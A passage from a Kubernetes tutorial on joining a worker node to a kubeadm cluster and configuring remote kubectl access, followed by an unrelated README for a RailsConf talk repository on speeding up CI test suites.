daemonset.extensions/kube-flannel-ds-arm created
daemonset.extensions/kube-flannel-ds-ppc64le created
daemonset.extensions/kube-flannel-ds-s390x created
[student@kubeadm-node1 ~]$
```

## Check cluster health:

```
[student@kubeadm-node1 ~]$ kubectl get componentstatuses
NAME                 STATUS    MESSAGE              ERROR
scheduler            Healthy   ok
controller-manager   Healthy   ok
etcd-0               Healthy   {"health": "true"}
[student@kubeadm-node1 ~]$
```

```
[student@kubeadm-node1 ~]$ kubectl get nodes
NAME            STATUS   ROLES    AGE   VERSION
kubeadm-node1   Ready    master   55m   v1.12.2
[student@kubeadm-node1 ~]$
```

```
[student@kubeadm-node1 ~]$ kubectl get nodes -o wide
NAME            STATUS   ROLES    AGE   VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                   KERNEL-VERSION            CONTAINER-RUNTIME
kubeadm-node1   Ready    master   57m   v1.12.2   <IP_ADDRESS>   <none>        Fedora 28 (Twenty Eight)   4.18.17-200.fc28.x86_64   docker://18.9.0
[student@kubeadm-node1 ~]$
```

```
[student@kubeadm-node1 ~]$ kubectl get pods --all-namespaces=true -o wide
NAMESPACE     NAME                                    READY   STATUS    RESTARTS   AGE     IP            NODE            NOMINATED NODE
kube-system   coredns-576cbf47c7-47jgd                1/1     Running   0          64m     <IP_ADDRESS>    kubeadm-node1   <none>
kube-system   coredns-576cbf47c7-nshbf                1/1     Running   0          64m     <IP_ADDRESS>    kubeadm-node1   <none>
kube-system   etcd-kubeadm-node1                      1/1     Running   0          64m     <IP_ADDRESS>   kubeadm-node1   <none>
kube-system   kube-apiserver-kubeadm-node1            1/1     Running   0          63m     <IP_ADDRESS>   kubeadm-node1   <none>
kube-system   kube-controller-manager-kubeadm-node1   1/1     Running   0          63m     <IP_ADDRESS>   kubeadm-node1   <none>
kube-system   kube-flannel-ds-amd64-2nm44             1/1     Running   0          16m     <IP_ADDRESS>   kubeadm-node1   <none>
kube-system   kube-proxy-mbdpt                        1/1     Running   0          64m     <IP_ADDRESS>   kubeadm-node1   <none>
kube-system   kube-scheduler-kubeadm-node1            1/1     Running   0          64m     <IP_ADDRESS>   kubeadm-node1   <none>
[student@kubeadm-node1 ~]$
```

Let's see if we can run a simple nginx container, in the `default` namespace. (You do not need to explicitly mention default in the command line - duh!)

```
[student@kubeadm-node1 ~]$ kubectl run nginx --image=nginx:alpine
kubectl run --generator=deployment/apps.v1beta1 is DEPRECATED and will be removed in a future version. Use kubectl create instead.
deployment.apps/nginx created
[student@kubeadm-node1 ~]$
```

It's status is **Pending**, not **Creating Container**, nor **CrashLooping** .
```
[student@kubeadm-node1 ~]$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
nginx-64d9675947-tr5mk   0/1     Pending   0          50s
[student@kubeadm-node1 ~]$
```

The reason for nginx container being pending is that our Node1 is actually master node, and it has a **taint** set to **NoSchedule** . You can check for it using the `kubectl describe node` command:

```
[student@kubeadm-node1 ~]$ kubectl describe node kubeadm-node1 | grep Taints
Taints:             node-role.kubernetes.io/master:NoSchedule
[student@kubeadm-node1 ~]$
```

At this point, we have two options. Either remove the taint from this node, or setup another node and make it join the cluster. As soon as a new (worker) node is added to the cluster, the pod will be assigned to the worker node, and it will start on the new node.

If you want to be able to schedule pods on the master, e.g. for a single-machine Kubernetes cluster for experimenting/testing/development , run the following command to remove the specific taint from all the (existing/cluster) nodes:

```
kubectl taint nodes --all node-role.kubernetes.io/master-
```

After this is applied, pods will/can be scheduled on master node too. There is another way of running pods on master node, by setting *toleration* in the yaml file that creates a pod/deployment/etc, but that is beyond the scope of installing the cluster.

Since this guide is about running a multi-node kubeadm based kubernetes cluster, we will simply add another node to the cluster.

# Add / join a node:

To join a new node to the cluster, you need to satisfy the following conditions first:
* You have SSH / root access to the node
* You have already setup a container runtime, such as Docker on it, and it is in working order
* You have downloaded and installed kubeadm, kubelet and kubectl on it

When you executed `kubeadm init`, you were given a command to run on the nodes you want to join to this cluster.

```
You can now join any number of machines by running the following on each node
as root:

  kubeadm join <IP_ADDRESS>:6443 --token wmrvvj.3kmknfziy308ia0o --discovery-token-ca-cert-hash sha256:0e659353306c04c46295868b407d4eae754d91de2e0f19a852eda7de17cbe3a5
```

So we can do that now. Please note that the token is only valid for 24 hours after the initialization of the cluster. If you are trying to join a node to the cluster after 24 hours have passed, you need to generate a new token. That can be done simply by running `kubeadm token create` on the master node. Then use the new token in the `kubeadm join` command.

```
[root@kubeadm-node2 ~]# kubeadm join <IP_ADDRESS>:6443 --token wmrvvj.3kmknfziy308ia0o --discovery-token-ca-cert-hash sha256:0e659353306c04c46295868b407d4eae754d91de2e0f19a852eda7de17cbe3a5

[preflight] running pre-flight checks
	[WARNING RequiredIPVSKernelModulesAvailable]: the IPVS proxier will not be used, because the following required kernel modules are not loaded: [ip_vs_sh ip_vs ip_vs_rr ip_vs_wrr] or no builtin kernel ipvs support: map[ip_vs:{} ip_vs_rr:{} ip_vs_wrr:{} ip_vs_sh:{} nf_conntrack_ipv4:{}]
you can solve this problem with following methods:
 1. Run 'modprobe -- ' to load missing kernel modules;
2. Provide the missing builtin kernel ipvs support

[preflight] The system verification failed. Printing the output from the verification:
KERNEL_VERSION: 4.18.17-200.fc28.x86_64
CONFIG_NAMESPACES: enabled
CONFIG_NET_NS: enabled
CONFIG_PID_NS: enabled
CONFIG_IPC_NS: enabled
CONFIG_UTS_NS: enabled
CONFIG_CGROUPS: enabled
CONFIG_CGROUP_CPUACCT: enabled
CONFIG_CGROUP_DEVICE: enabled
CONFIG_CGROUP_FREEZER: enabled
CONFIG_CGROUP_SCHED: enabled
CONFIG_CPUSETS: enabled
CONFIG_MEMCG: enabled
CONFIG_INET: enabled
CONFIG_EXT4_FS: enabled
CONFIG_PROC_FS: enabled
CONFIG_NETFILTER_XT_TARGET_REDIRECT: enabled (as module)
CONFIG_NETFILTER_XT_MATCH_COMMENT: enabled (as module)
CONFIG_OVERLAY_FS: enabled (as module)
CONFIG_AUFS_FS: not set - Required for aufs.
CONFIG_BLK_DEV_DM: enabled
DOCKER_VERSION: 18.09.0
OS: Linux
CGROUPS_CPU: enabled
CGROUPS_CPUACCT: enabled
CGROUPS_CPUSET: enabled
CGROUPS_DEVICES: enabled
CGROUPS_FREEZER: enabled
CGROUPS_MEMORY: enabled
[discovery] Trying to connect to API Server "<IP_ADDRESS>:6443"
[discovery] Created cluster-info discovery client, requesting info from "https://<IP_ADDRESS>:6443"
[discovery] Requesting info from "https://<IP_ADDRESS>:6443" again to validate TLS against the pinned public key
[discovery] Cluster info signature and contents are valid and TLS certificate validates against pinned roots, will use API Server "<IP_ADDRESS>:6443"
[discovery] Successfully established connection with API Server "<IP_ADDRESS>:6443"
[kubelet] Downloading configuration for the kubelet from the "kubelet-config-1.12" ConfigMap in the kube-system namespace
[kubelet] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[preflight] Activating the kubelet service
[tlsbootstrap] Waiting for the kubelet to perform the TLS Bootstrap...
[patchnode] Uploading the CRI Socket information "/var/run/dockershim.sock" to the Node API object "kubeadm-node2" as an annotation

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the master to see this node join the cluster.

[root@kubeadm-node2 ~]#
```

If you check the list of nodes now, you should be able to see node2 too.

```
[student@kubeadm-node1 ~]$ kubectl get nodes
NAME            STATUS   ROLES    AGE     VERSION
kubeadm-node1   Ready    master   88m     v1.12.2
kubeadm-node2   Ready    <none>   5m23s   v1.12.2

[student@kubeadm-node1 ~]$ kubectl get nodes -o wide
NAME            STATUS   ROLES    AGE     VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                   KERNEL-VERSION            CONTAINER-RUNTIME
kubeadm-node1   Ready    master   88m     v1.12.2   <IP_ADDRESS>   <none>        Fedora 28 (Twenty Eight)   4.18.17-200.fc28.x86_64   docker://18.9.0
kubeadm-node2   Ready    <none>   5m30s   v1.12.2   <IP_ADDRESS>   <none>        Fedora 28 (Twenty Eight)   4.18.17-200.fc28.x86_64   docker://18.9.0
[student@kubeadm-node1 ~]$
```

At this time, the scheduler should have automatically assigned nginx pod to  node2.

```
[student@kubeadm-node1 ~]$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
nginx-64d9675947-tr5mk   1/1     Running   0          31m

[student@kubeadm-node1 ~]$ kubectl get pods -o wide
NAME                     READY   STATUS    RESTARTS   AGE   IP           NODE            NOMINATED NODE
nginx-64d9675947-tr5mk   1/1     Running   0          31m   <IP_ADDRESS>   kubeadm-node2   <none>
[student@kubeadm-node1 ~]$
```

Hurray! It works!

Here is a more detailed, *complete picture*, of the cluster when everything is working properly. Notice, only `kube-system` namespace is queried in the command below.
```
[student@kubeadm-node1 ~]$ kubectl get all --namespace=kube-system
NAME                                        READY   STATUS    RESTARTS   AGE
pod/coredns-576cbf47c7-44m54                1/1     Running   1          95m
pod/coredns-576cbf47c7-fmjvv                1/1     Running   1          95m
pod/etcd-kubeadm-node1                      1/1     Running   1          95m
pod/kube-apiserver-kubeadm-node1            1/1     Running   1          95m
pod/kube-controller-manager-kubeadm-node1   1/1     Running   1          95m
pod/kube-flannel-ds-amd64-98nqp             1/1     Running   2          44h
pod/kube-flannel-ds-amd64-s6jb7             1/1     Running   1          95m
pod/kube-proxy-gxtwf                        1/1     Running   1          95m
pod/kube-proxy-kmmdp                        1/1     Running   1          44h
pod/kube-scheduler-kubeadm-node1            1/1     Running   1          95m

NAME               TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)         AGE
service/kube-dns   ClusterIP   <IP_ADDRESS>   <none>        53/UDP,53/TCP   95m

NAME                                     DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR                     AGE
daemonset.apps/kube-flannel-ds-amd64     2         2         2       2            2           beta.kubernetes.io/arch=amd64     95m
daemonset.apps/kube-flannel-ds-arm       0         0         0       0            0           beta.kubernetes.io/arch=arm       95m
daemonset.apps/kube-flannel-ds-arm64     0         0         0       0            0           beta.kubernetes.io/arch=arm64     95m
daemonset.apps/kube-flannel-ds-ppc64le   0         0         0       0            0           beta.kubernetes.io/arch=ppc64le   95m
daemonset.apps/kube-flannel-ds-s390x     0         0         0       0            0           beta.kubernetes.io/arch=s390x     95m
daemonset.apps/kube-proxy                2         2         2       2            2           <none>                            95m

NAME                      DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/coredns   2         2         2            2           95m

NAME                                 DESIRED   CURRENT   READY   AGE
replicaset.apps/coredns-576cbf47c7   2         2         2       95m
[student@kubeadm-node1 ~]$ kubectl get all --namespace=kube-system -o wide
NAME                                        READY   STATUS    RESTARTS   AGE   IP            NODE            NOMINATED NODE
pod/coredns-576cbf47c7-44m54                1/1     Running   1          95m   <IP_ADDRESS>    kubeadm-node1   <none>
pod/coredns-576cbf47c7-fmjvv                1/1     Running   1          95m   <IP_ADDRESS>    kubeadm-node1   <none>
pod/etcd-kubeadm-node1                      1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>
pod/kube-apiserver-kubeadm-node1            1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>
pod/kube-controller-manager-kubeadm-node1   1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>
pod/kube-flannel-ds-amd64-98nqp             1/1     Running   2          95m   <IP_ADDRESS>   kubeadm-node2   <none>
pod/kube-flannel-ds-amd64-s6jb7             1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>
pod/kube-proxy-gxtwf                        1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>
pod/kube-proxy-kmmdp                        1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node2   <none>
pod/kube-scheduler-kubeadm-node1            1/1     Running   1          95m   <IP_ADDRESS>   kubeadm-node1   <none>

NAME               TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)         AGE   SELECTOR
service/kube-dns   ClusterIP   <IP_ADDRESS>   <none>        53/UDP,53/TCP   95m   k8s-app=kube-dns

NAME                                     DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR                     AGE   CONTAINERS     IMAGES                                   SELECTOR
daemonset.apps/kube-flannel-ds-amd64     2         2         2       2            2           beta.kubernetes.io/arch=amd64     95m   kube-flannel   quay.io/coreos/flannel:v0.10.0-amd64     app=flannel,tier=node
daemonset.apps/kube-flannel-ds-arm       0         0         0       0            0           beta.kubernetes.io/arch=arm       95m   kube-flannel   quay.io/coreos/flannel:v0.10.0-arm       app=flannel,tier=node
daemonset.apps/kube-flannel-ds-arm64     0         0         0       0            0           beta.kubernetes.io/arch=arm64     95m   kube-flannel   quay.io/coreos/flannel:v0.10.0-arm64     app=flannel,tier=node
daemonset.apps/kube-flannel-ds-ppc64le   0         0         0       0            0           beta.kubernetes.io/arch=ppc64le   95m   kube-flannel   quay.io/coreos/flannel:v0.10.0-ppc64le   app=flannel,tier=node
daemonset.apps/kube-flannel-ds-s390x     0         0         0       0            0           beta.kubernetes.io/arch=s390x     95m   kube-flannel   quay.io/coreos/flannel:v0.10.0-s390x     app=flannel,tier=node
daemonset.apps/kube-proxy                2         2         2       2            2           <none>                            95m   kube-proxy     k8s.gcr.io/kube-proxy:v1.12.2            k8s-app=kube-proxy

NAME                      DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES                     SELECTOR
deployment.apps/coredns   2         2         2            2           95m   coredns      k8s.gcr.io/coredns:1.2.2   k8s-app=kube-dns

NAME                                 DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES                     SELECTOR
replicaset.apps/coredns-576cbf47c7   2         2         2       95m   coredns      k8s.gcr.io/coredns:1.2.2   k8s-app=kube-dns,pod-template-hash=576cbf47c7
[student@kubeadm-node1 ~]$
```

# Accessing your cluster from machines other than the master node:

So far, we are able to talk to our Kubernetes cluster from node1, as user student. It is because that is where we have configured our `.kube/config` which is used by `kubectl` commands. To be able to access the cluster from some other computer, such as your work computer, etc, you need to copy the administrator kubeconfig file from your master node to your computer like this:

```
mkdir ~/.kube
scp student@<master-node-ip>:/home/student/.kube/config  ~/.kube/kubeadm-cluster.conf
kubectl --kubeconfig ~/.kube/kubeadm-cluster.conf get nodes
```

It might be a hassle to include `--kubeconfig ~/.kube/kubeadm-cluster.conf` in every kubectl command. You can setup a shell alias, or you can simply save it as `~/.kube/config` on your work computer. **WARNING** However, it is possible that you already have `~/.kube/config` file, which might contain configuration to one or more existing kubernetes clusters, and you don't want to accidently lose access to those clusters by over-writing it with this `.kube/config` . To be able to retain access to those clusters, and still also be able to use this kubeadm cluster, all from single kubectl, without specifying `--kubeconfig` everytime, you can use the KUBECONFIG environment variable.

Lets start at master node, where we have a working copy of our `.kube/config` file.
First, we need to fix the default config we got from kubeadm. It is not very helpful in identifying which cluster is it. e.g. look at the following information. It looks very vague:

```
[student@kubeadm-node1 ~]$ kubectl config current-context
kubernetes-admin@kubernetes

[student@kubeadm-node1 ~]$ kubectl config get-clusters
NAME
kubernetes
[student@kubeadm-node1 ~]$
```

With a little `sed` , I changed the `.kube/config` for the student user.

```
[student@kubeadm-node1 tmp]$ sed -i 's/kubernetes-admin/kubeadm-admin/g' $HOME/.kube/config

[student@kubeadm-node1 tmp]$ sed -i 's/kubernetes/kubeadm-cluster/g' $HOME/.kube/config
```

It now looks like the following:

```
[student@kubeadm-node1 ~]$ kubectl config current-context
kubeadm-admin@kubeadm-cluster

[student@kubeadm-node1 ~]$ kubectl config get-clusters
NAME
kubeadm-cluster
[student@kubeadm-node1 ~]$
```

Verify that it works:

```
[student@kubeadm-node1 ~]$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
nginx-64d9675947-nw4kl   1/1     Running   0          3m53s
[student@kubeadm-node1 ~]$
```

Now, I copy this file from the master node to my work computer, inside `~/.kube/` directory, saving it as `kubeadm-cluster.conf`.

```
[kamran@kworkhorse ~]$ scp student@kubeadm-node1:/home/student/.kube/config .kube/kubeadm-cluster.conf
config                                                                                100% 5455     5.4MB/s   00:00
[kamran@kworkhorse ~]$
```

I verify once that it works:

```
[kamran@kworkhorse ~]$ kubectl --kubeconfig=$HOME/.kube/kubeadm-cluster.conf  get pods
NAME                     READY     STATUS    RESTARTS   AGE
nginx-64d9675947-nw4kl   1/1       Running   0          11m
[kamran@kworkhorse ~]$
```

Notice that my default .kube/config lists two clusters, one of them is production cluster for a client. I don't want to lose this configuration.

```
[kamran@kworkhorse ~]$ kubectl config get-contexts
CURRENT   NAME                    CLUSTER                 AUTHINFO   NAMESPACE
*         minikube                minikube                minikube
          client-gce.k8s.local   client-gce.k8s.local   admin
[kamran@kworkhorse ~]$
```

So I have verified that without using `--kubeconfig` with `kubectl`, I can access my previous clusters. By using a specific configuration with `--kubeconfig` , I can access my kubeadm cluster. Is it possible to merge these two configurations? No. Not directly, which is actually a safety feature. Check this article for more detail: [https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/#set-the-kubeconfig-environment-variable](https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/#set-the-kubeconfig-environment-variable) .

I will solve it by using the KUBECONFIG environment variable as described in the above link. Here is how:

```
[kamran@kworkhorse ~]$ export KUBECONFIG=$KUBECONFIG:$HOME/.kube/config:$HOME/.kube/kubeadm-cluster.conf

[kamran@kworkhorse ~]$ kubectl config get-clusters
NAME
minikube
client-gce.k8s.local
kubeadm-cluster
[kamran@kworkhorse ~]$
```

If I do a `get-contexts`  or `get-clusters` now, I get all three clusters! Now, I can simply switch context and use my kubeadm-cluster, without using the `--kubeconfig=...` with each of my `kubectl` command.

```
[kamran@kworkhorse ~]$ kubectl config use-context kubeadm-admin@kubeadm-cluster
Switched to context "kubeadm-admin@kubeadm-cluster".

[kamran@kworkhorse ~]$ kubectl config get-contexts
CURRENT   NAME                            CLUSTER                 AUTHINFO        NAMESPACE
*         kubeadm-admin@kubeadm-cluster   kubeadm-cluster         kubeadm-admin
          minikube                        minikube                minikube
          client-gce.k8s.local           client-gce.k8s.local   admin
[kamran@kworkhorse ~]$
```

```
[kamran@kworkhorse ~]$ kubectl get pods
NAME                     READY     STATUS    RESTARTS   AGE
nginx-64d9675947-nw4kl   1/1       Running   0          20m
[kamran@kworkhorse ~]$
```

Hurray! It works!

Now, I just need to setup this `KUBECONFIG` permanently in my `.bash_profile` file so I don't have to do this every time I login to my computer. Depending on your situation and the way you start your session on your work computer, you may want to add this to any/all of:
* `/etc/profile`  (login shell)
* `~/.bash_profile` (login shell)
* `~/.bash_login` (login shell)
* `~/.profile` (login shell)
* `/etc/bash.bashrc` (non-login shell)
* `~/.bashrc` (non-login shell)

```
[kamran@kworkhorse ~]$ vi .bash_profile

. . .

PATH=$PATH:$HOME/.local/bin:$HOME/bin

KUBECONFIG=$KUBECONFIG:$HOME/.kube/config:$HOME/.kube/kubeadm-cluster.conf

export PATH KUBECONFIG
```

## Running kubectl from windows clients
The procedure is almost the same as above except that you need to setup the KUBECONFIG environment variable somewhere in windows settings.

A kubectl connectivity test from windows command line would look something like this:
```
kubectl --kubeconfig=C:\Users\joe\.kube\config.kubeadm get pods
```

**Note:**
The `admin.conf` file (`/etc/kubernetes/admin.conf` on master node, copied as `/home/student/.kube/config`) gives the user superuser privileges over the cluster. This file should be used very carefully. For normal users, it’s recommended to generate an unique credential, to which you whitelist privileges. You can do this with the `kubeadm alpha phase kubeconfig user --client-name <client-name>` command. This command will print out a KubeConfig file to STDOUT which you should save to a file and distribute to your user. After that, whitelist privileges by using `kubectl create (cluster)rolebinding`.

repository: KamranAzeem/learn-kubernetes

gha_language: HTML

repo_name: KamranAzeem/learn-kubernetes


text:
# faster_ci

This is a supplementary repo to my RailsConf 2021 talk
["Speed up your test suite by throwing computers at it"](https://www.youtube.com/watch?v=T3TipTdx_2k)

[![alt text](railsconf_youtube_thumbnail.png)](https://www.youtube.com/watch?v=T3TipTdx_2k)

Here you can find all the code examples mentioned in the talk, the slides deck, and some
more resources.

Some of this code will require some modification for you to use, but i've documented this
at the top of each file to try and make that easier.

I'm open to issues and PRs if you find improvements to make to these!

**Table of Contents**

- [Slides deck from the talk](#slides)
- [Splitting tests manually: Catch-all job](#splitting-tests-manually-catch-all-job)
- [Splitting tests automatically between boxes](#splitting-tests-automatically-between-boxes)
- [Inspecting the contents of Docker Images and Layers](#inspecting-the-contents-of-docker-images-and-layers)
- [Detecting and Reporting Flaky Tests](#detecting-and-reporting-flaky-tests)

## Slides

[Slides deck from the talk](Slides.pdf)
[Slides including the full text from the talk](Slides_with_Script.pdf)

## Splitting tests manually: Catch-all job

When splitting your test suite into separate CI jobs based on the different test sub-directories
you have, it's better not to have a job for each specific directory. Instead, one job should
be a catch-all that runs "all tests except the ones the other jobs will"

That way, if you later add a new test sub-directory, you'll still run those tests in CI
if you forget to add a corresponding CI job.

The easiest way to do this is using `find` and `grep -v`:

```
# Instead of:
rspec spec/channels
rspec spec/controllers
rspec spec/helpers
rspec spec/integrations
rspec spec/mailers
rspec spec/models
rspec spec/system

# Do:
rspec spec/controllers
rspec spec/integrations
rspec spec/models
rspec spec/system
rspec $(find spec/**/* | grep -v "spec/controllers" | grep -v "spec/integrations" | grep -v "spec/models" | grep -v "spec/system")
```

This last job will run "everything else".

If you later add another job for a specific sub-directory, you should also add the exception
to this last "catchall" job, but now, if you forget, the cost is you run some tests twice
as opposed to forgetting to run some.

## Splitting tests automatically between boxes

**NOTE:** Before doing this, check whether your CI provider already has a better solution
for running tests in multiple machines in parallel. This is a fallback hack for those
providers that don't. In particular, if you are using CircleCI, their native solution is
**much** better than this, you should use that instead.

You can use the [`split_tests`](split_tests) script in this repo to help you split your
test files between multiple boxes.

Copy the `split_tests` file somewhere into your project (you can use it as-is), and call
it passing in parameters to filter which tests you want to run in multiple boxes. These
are the same parameters you'd pass to `find` to find all the files to split.

You'll also need to define environment variables `BOX_COUNT`, with the total number of
boxes to split between, and `BOX_INDEX` which specifies which of those boxes you're
running on at the moment, as a 0-based number. In your CI environment you can do this
by abusing their "Build Matrix" feature as explained in the talk.

Example CI commands:

- Run all tests in the `spec` directory:
  `rspec $(./split_tests spec)`
- Run tests files that match a specific pattern, inside `spec/some_dir`:
  `rspec $(./split_tests spec/some_dir -name "*_spec.rb")`

## Inspecting the contents of Docker Images and Layers

Use [the dive tool](https://github.com/wagoodman/dive)!

Follow the installation and usage instructions in that repo to get it started.

To optimize your layers, focus on layers that take a significant amount of space, `Tab`
to explore the filesystem, filter out "unmodified" files with `Ctrl+U`, and browse around
to see if any large files/directories look deletable.

If you find some, you can delete them by adding `rm` commands to your Dockerfile:

```
RUN command_that_leaves_behind_useless_files \
    && rm -rf useless_path_you_found_with_dive
```

Make sure to do the deletion in the same Docker step using `&&`, or the deletion will
happen in a separate layer, and the files you are deleting will *still* be there where you
found them.

## Detecting and Reporting Flaky Tests

Find sample scripts ready to be adapted to your needs, and documentation on how they work
and how to use them in the [flaky_detector directory](flaky_detector)